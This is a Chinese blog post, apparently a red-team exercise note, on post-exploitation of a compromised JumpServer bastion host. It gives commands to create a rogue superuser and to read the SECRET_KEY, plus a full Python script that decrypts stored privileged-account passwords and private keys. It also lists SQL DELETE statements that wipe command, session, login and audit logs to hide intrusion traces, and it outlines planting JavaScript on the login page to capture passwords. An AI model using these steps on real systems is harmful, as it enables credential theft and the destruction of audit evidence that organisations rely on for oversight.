jumpserver后渗透

前言:这个星期比赛刚打完,实战攻击链路外网打点,内网中拿到了jumpserver主机权限,但是在没有jumpserver用户的时候无法进行登录堡垒机中的机器的问题,当时操作比较粗暴直接上机器通过manager脚本来添加用户,这边写笔记来记录一些比较好的方法

参考文章:https://mp.weixin.qq.com/s/OwSZWCshBKJW0b5du7Juhw
参考文章:https://guage.cool/jumpserver/
参考文章:https://github.com/jumpserver/jumpserver/issues/6407
参考文章:https://forum.butian.net/share/4017

jumpserver

引出一个小问题,跳板机和堡垒机的区别?

跳板机就是一台服务器,维护人员在维护过程中,首先要统一登录到这台服务器上,然后从这台服务器再登录到目标设备进行维护。但跳板机的缺点是没有实现对运维人员操作行为的控制和审计,出现误操作或违规操作难以定位到原因和责任人;并且跳板机存在严重的安全风险,如果跳板机系统被攻入,则后端资源完全暴露无遗。

堡垒机,即在一个特定的网络环境下,为了保障网络和数据不受来自外部和内部用户的入侵和破坏,而运用各种技术手段实时收集和监控网络环境中每一个组成部分的系统状态、安全事件、网络活动,以便集中报警、及时处理及审计定责,有效降低了运维操作风险,使得运维操作管理变得更简单、更安全,但是其实堡垒机存在严重的安全风险的话,后端资源也同样暴露无遗。

简单的总结下跳板机仅仅实现了服务器登录安全,但是没有实现对于运维人员行为的操控和审计,而堡垒机有。

jumpserver环境docker搭建

这边环境搭建参考官方文档:https://docs.jumpserver.org/zh/v3/installation/setup_linux_standalone/online_install/#1

我这边搭建的是2.14.1,下载的地址就可以是https://github.com/jumpserver/jumpserver/releases/download/v2.14.1/quick_start.sh

jumpserver暴力方法

如果有主机权限的话,那么直接在jumpserver/core容器下面添加一个用户zpchcbd管理员

python manage.py createsuperuser --username=zpchcbd --email=zpchcbd@doamin.com

但是此时发现zpchcbd用户还不可以访问堡垒机的主机

这边的话可以在web界面中给zpchcbd用户授权可登录的机器即可,但是这种行为比较粗暴并且创建的用户可能引起管理员的注意,这边再提下这边除了创建管理员,其实还可以修改用户,不过动作都是很大

jumpserver隐蔽方法(解密代码只能用于jumpserverV2版本,V3版本未测试)

上面的暴力方法的情况下只能用在有主机权限的情况下,这边的话再介绍一个隐蔽的方法

获取SECRET_KEY

在/opt/jumpserver/config/config.txt中可获取到SECRET_KEY

解密私钥

查询assets_systemuser表中的特权用户的信息

select * from assets_systemuser;

jumpserver核心的加解密代码在:https://github.com/jumpserver/jumpserver/blob/master/apps/common/utils/crypto.py

将上面的部分放到代码中进行解密即可,结果如下所示

import json
import base64
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import pad
from Cryptodome.Random import get_random_bytes
from gmssl.sm4 import CryptSM4, SM4_ENCRYPT, SM4_DECRYPT


def signer_decode(val: str):
    data = val.split(".")[1]
    data = data + "=" * (-len(data) % 4)
    return json.loads(base64.b64decode(data))


def process_key(key):
    """
    返回32 bytes 的key
    """
    if not isinstance(key, bytes):
        key = bytes(key, encoding='utf-8')

    if len(key) >= 32:
        return key[:32]

    return pad(key, 32)


class BaseCrypto:

    def encrypt(self, text):
        return base64.urlsafe_b64encode(
            self._encrypt(bytes(text, encoding='utf8'))).decode('utf8')

    def _encrypt(self, data: bytes) -> bytes:
        raise NotImplementedError

    def decrypt(self, text):
        return self._decrypt(
            base64.urlsafe_b64decode(bytes(text,
                                           encoding='utf8'))).decode('utf8')

    def _decrypt(self, data: bytes) -> bytes:
        raise NotImplementedError


class GMSM4EcbCrypto(BaseCrypto):

    def __init__(self, key):
        self.key = process_key(key)
        self.sm4_encryptor = CryptSM4()
        self.sm4_encryptor.set_key(self.key, SM4_ENCRYPT)

        self.sm4_decryptor = CryptSM4()
        self.sm4_decryptor.set_key(self.key, SM4_DECRYPT)

    def _encrypt(self, data: bytes) -> bytes:
        return self.sm4_encryptor.crypt_ecb(data)

    def _decrypt(self, data: bytes) -> bytes:
        return self.sm4_decryptor.crypt_ecb(data)


class AESCrypto:
    """
    AES
    除了MODE_SIV模式key长度为:32, 48, or 64,
    其余key长度为16, 24 or 32
    详细见AES内部文档
    CBC模式传入iv参数
    本例使用常用的ECB模式
    """

    def __init__(self, key):
        if len(key) > 32:
            key = key[:32]
        self.key = self.to_16(key)

    @staticmethod
    def to_16(key):
        """
        转为16倍数的bytes数据
        :param key:
        :return:
        """
        key = bytes(key, encoding="utf8")
        while len(key) % 16 != 0:
            key += b'\0'
        return key  # 返回bytes

    def aes(self):
        return AES.new(self.key, AES.MODE_ECB)  # 初始化加密器

    def encrypt(self, text):
        aes = self.aes()
        return str(base64.encodebytes(aes.encrypt(self.to_16(text))),
                   encoding='utf8').replace('\n', '')  # 加密

    def decrypt(self, text):
        aes = self.aes()
        return str(
            aes.decrypt(base64.decodebytes(bytes(
                text, encoding='utf8'))).rstrip(b'\0').decode("utf8"))  # 解密


class AESCryptoGCM:
    """
    使用AES GCM模式
    """

    def __init__(self, key):
        self.key = process_key(key)

    def encrypt(self, text):
        """
        加密text,并将 header, nonce, tag (3*16 bytes, base64后变为 3*24 bytes)
        附在密文前。解密时要用到。
        """
        header = get_random_bytes(16)
        cipher = AES.new(self.key, AES.MODE_GCM)
        cipher.update(header)
        ciphertext, tag = cipher.encrypt_and_digest(
            bytes(text, encoding='utf-8'))

        result = []
        for byte_data in (header, cipher.nonce, tag, ciphertext):
            result.append(base64.b64encode(byte_data).decode('utf-8'))

        return ''.join(result)

    def decrypt(self, text):
        """
        提取header, nonce, tag并解密text。
        """
        metadata = text[:72]
        header = base64.b64decode(metadata[:24])
        nonce = base64.b64decode(metadata[24:48])
        tag = base64.b64decode(metadata[48:])
        ciphertext = base64.b64decode(text[72:])

        cipher = AES.new(self.key, AES.MODE_GCM, nonce=nonce)

        cipher.update(header)
        plain_text_bytes = cipher.decrypt_and_verify(ciphertext, tag)
        return plain_text_bytes.decode('utf-8')


def get_aes_crypto(key, mode='GCM'):
    if mode == 'ECB':
        a = AESCrypto(key)
    elif mode == 'GCM':
        a = AESCryptoGCM(key)
    return a


def get_gm_sm4_ecb_crypto(key):
    return GMSM4EcbCrypto(key)


class Crypto:

    def __init__(self, cryptoes):
        self.cryptoes = cryptoes

    @property
    def encryptor(self):
        return self.cryptoes[0]

    def encrypt(self, text):
        return self.encryptor.encrypt(text)

    def decrypt(self, text):
        for decryptor in self.cryptoes:
            try:
                origin_text = decryptor.decrypt(text)
                if origin_text:
                    # 有时不同算法解密不报错,但是返回空字符串
                    return origin_text
            except (TypeError, ValueError, UnicodeDecodeError, IndexError):
                continue


if __name__ == "__main__":
    # SECRET_KEY
    key = 'jM4YjFmYTE5OWRjODcyYTdkZWE2NjMxOGNhN2EyYWFmOTWE2N'
    # private_key 或 password 在数据库里的值
    data = [
        'eyJhbGciOiJIUzI1NiJ9.InBhc3N3b3JkIg.ME3PUOsChmTHlWimu8W1K6pTUgm9fKPnuzyQKglA7ww',
        'Dz6x4Uf+fUT7S/djyxv82w=='
    ]
    crypto = Crypto([
        get_aes_crypto(key, mode='ECB'),
        get_aes_crypto(key, mode='GCM'),
        get_gm_sm4_ecb_crypto(key),
    ])
    for d in data:
        if d.count(".") == 2:
            print('by signer:', signer_decode(d))
        else:
            print('by crypto:', crypto.decrypt(d))

2023国护网添加笔记

痕迹抹除

清理服务器终端监控执行命令表记录

DELETE FROM `terminal_command` where `user` = "liulei(liulei)";

清理服务器登陆会话表记录

DELETE FROM `terminal_session` where `user` = "liulei(liulei)";

清理web/keke用户登陆表记录

DELETE FROM `audits_userloginlog` where `username` = "liulei";

清理服务器授权表记录

DELETE FROM `audits_operatelog` where `user` = "liulei(liulei)";

清理用户密码修改表记录

DELETE FROM `audits_passwordchangelog` where `user` = "(liulei)";

清理用户密码历史表记录

SELECT * FROM `users_user` where `username` = "liulei";
DELETE FROM `users_userpasswordhistory` where `user_id` = "9eeb8ccb34894f2297a70d3c9a859f5b";

清理用户表记录

SELECT * FROM `users_user` where `username` = "liulei";
DELETE FROM `orgs_organization_members` where `user_id` = "9eeb8ccb34894f2297a70d3c9a859f5b";
DELETE FROM `users_user` where `username` = "liulei";

挂载js登陆密码

登陆jumpserver有两种方法,一种是直接通过web界面进行登陆,这边介绍js挂载web界面钓鱼

挂载js位置:/opt/jumpserver/apps/authentication/templates/authentication/index.html

注意点:只能在已存在文件上进行修改

编译koko替换原版获取登陆密码

第二种方法就是一种是直接通过koko服务来直接登陆,还没测试,放着先,护网中也没用到

posted @ 2023-03-25 18:39  zpchcbd  阅读(2288)  评论(0)    收藏  举报